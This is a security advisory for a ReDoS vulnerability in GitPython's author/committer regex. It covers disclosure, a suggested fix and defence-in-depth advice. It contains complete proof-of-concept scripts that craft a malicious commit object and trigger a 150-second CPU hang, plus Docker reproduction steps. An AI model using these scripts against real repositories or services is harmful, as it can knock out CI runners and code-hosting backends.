Vulnerability GHSA-g5vv-9gxw-82hx
Summary
GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing
Details
Summary
GitPython's Actor.name_email_regex regular expression (git/util.py, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the author or committer header of a git commit object that contains a long string with an unterminated < (no matching >), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length.
A single crafted commit object can block any GitPython API call that reads .author or .committer for over two minutes per invocation, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories.
PoC
Environment used for testing:
- GitPython 3.1.59, installed in editable mode from source (no code modifications)
- Python 3.12.3, git 2.43.0, Ubuntu 24.04
Script 1 — craft the malicious repository (craft_malicious_repo.py):
#!/usr/bin/env python3
"""
Creates a git repository with one commit whose 'author' field is a large
string containing an unterminated '<'. Bypasses git's write-side sanity
checks by writing the raw object directly into .git/objects/.
Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes>
"""
import hashlib, os, subprocess, sys, zlib
def run(cmd, cwd):
return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)
def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>")
sys.exit(1)
target_dir, payload_size = sys.argv[1], int(sys.argv[2])
os.makedirs(target_dir, exist_ok=True)
run(["git", "init", "--quiet"], cwd=target_dir)
run(["git", "config", "user.email", "[email protected]"], cwd=target_dir)
run(["git", "config", "user.name", "PoC"], cwd=target_dir)
with open(os.path.join(target_dir, "README.txt"), "w") as f:
f.write("GitPython ReDoS PoC repository\n")
run(["git", "add", "README.txt"], cwd=target_dir)
tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip()
malicious_name = "A" * payload_size
# Key: author field contains a '<' with no closing '>'
author_line = f"author {malicious_name} <unterminated 1691999972 -0700"
committer_line = "committer PoC <[email protected]> 1691999972 -0700"
message = "ReDoS PoC commit"
commit_content = (
f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n"
).encode()
header = f"commit {len(commit_content)}\x00".encode()
store = header + commit_content
sha = hashlib.sha1(store).hexdigest()
compressed = zlib.compress(store)
objdir = os.path.join(target_dir, ".git", "objects", sha[:2])
os.makedirs(objdir, exist_ok=True)
with open(os.path.join(objdir, sha[2:]), "wb") as f:
f.write(compressed)
run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir)
print(f"Malicious commit sha : {sha}")
print(f"Payload size : {payload_size} bytes")
verify = subprocess.run(
["git", "cat-file", "-t", sha],
cwd=target_dir, capture_output=True, text=True
)
print(f"git cat-file -t confirms: {verify.stdout.strip()}")
if __name__ == "__main__":
main()
Script 2 — trigger the vulnerability (trigger_redos.py):
#!/usr/bin/env python3
"""
Opens the repository with GitPython and times commit.author access,
which triggers Actor._from_string() -> Actor.name_email_regex.search().
Usage: python3 trigger_redos.py <repo_dir> <commit_sha>
"""
import sys, time, git
def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>")
sys.exit(1)
repo = git.Repo(sys.argv[1])
commit = repo.commit(sys.argv[2])
print("Accessing commit.author — triggers Actor._from_string()...")
t0 = time.time()
author = commit.author # ← this single line causes the hang
elapsed = time.time() - t0
print(f"Author name length : {len(author.name)} chars")
print(f"Elapsed : {elapsed:.3f} seconds")
print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")
if __name__ == "__main__":
main()
Execution and observed output:
$ python3 craft_malicious_repo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit
$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor._from_string()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE
Docker reproduction (fully isolated environment):
docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash
# Inside the container:
apt-get update && apt-get install -y git
git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython
pip install -e /work/GitPython
python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000
# note the SHA printed, then:
python3 /work/poc/trigger_redos.py /work/victim-repo <SHA>
The python:3.8-bookworm base image matches the one used in GitPython's own fuzzing/local-dev-helpers/Dockerfile.
Suggested Fix
Replace the vulnerable pattern with one that cannot backtrack catastrophically. The minimal, behavior-preserving fix is to exclude < and > from the name group, removing the ambiguity that forces O(n²) backtracking:
# git/util.py, line 863
# Before (vulnerable):
name_email_regex = re.compile(r"(.*) <(.*?)>")
# After (fixed — identical output for all well-formed input):
name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>")
Because the name group can no longer itself contain a < character, the engine has exactly one candidate position to try when a closing > is absent — and fails in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never contain < or > in either field, so this change produces identical results for all valid input.
As defense in depth, independently of the regex fix, bounding the maximum number of characters GitPython will attempt to parse in an author/committer line (e.g. rejecting strings longer than 4096 bytes before passing them to any regex) would further limit the blast radius of any future ReDoS class in this parser.
Related Vulnerabilities
Other vulnerabilities affecting the same packages